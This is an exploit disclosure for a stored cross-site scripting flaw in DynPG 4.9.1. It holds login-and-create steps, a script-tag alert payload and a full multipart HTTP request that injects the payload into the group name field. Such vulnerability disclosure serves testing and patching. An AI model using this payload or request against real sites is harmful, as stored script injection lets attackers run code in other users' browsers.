DynPG 4.9.1 Cross Site Scripting

`# Exploit Title: DynPG 4.9.1 - Persistent Cross-Site Scripting (Authenticated)  
# Date: 2020-10-09  
# Exploit Author: Enes Özeser  
# Vendor Homepage: https://dynpg.org/  
# Version: 4.9.1  
# Tested on: Windows & XAMPP  
  
==> Tutorial <==  
  
1- Login to admin panel.  
2- Click on the "Texts" button.  
3- Write XSS payload into the Groupname.   
4- Press "Create" button.  
  
XSS Payload ==> <script>alert("XSS");</script>   
  
==> HTTP Request <==  
  
POST /index.php?show=4 HTTP/1.1  
Host: (HOST)  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8  
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3  
Accept-Encoding: gzip, deflate  
Content-Type: multipart/form-data; boundary=---------------------------342819783638885794661955465553  
Content-Length: 725  
Origin: http://(HOST)  
Connection: close  
Referer: http://(HOST)/index.php?show=4  
Cookie: PHPSESSID=bsbas234jfvvdasdasd1i  
Upgrade-Insecure-Requests: 1  
  
-----------------------------342819783638885794661955465553  
Content-Disposition: form-data; name="NEW_GROUP_NAME"  
  
<script>alert("XSS");</script>  
-----------------------------342819783638885794661955465553  
Content-Disposition: form-data; name="GROUP_ID"  
  
0  
-----------------------------342819783638885794661955465553  
Content-Disposition: form-data; name="GRP_SUBMIT"  
  
Create  
-----------------------------342819783638885794661955465553  
Content-Disposition: form-data; name="GRP_ACTION"  
  
new_grp  
-----------------------------342819783638885794661955465553  
Content-Disposition: form-data; name="dpg_csrf_token"  
  
3F16478C29BED20AA73F1D25CB23F471  
-----------------------------342819783638885794661955465553--  
`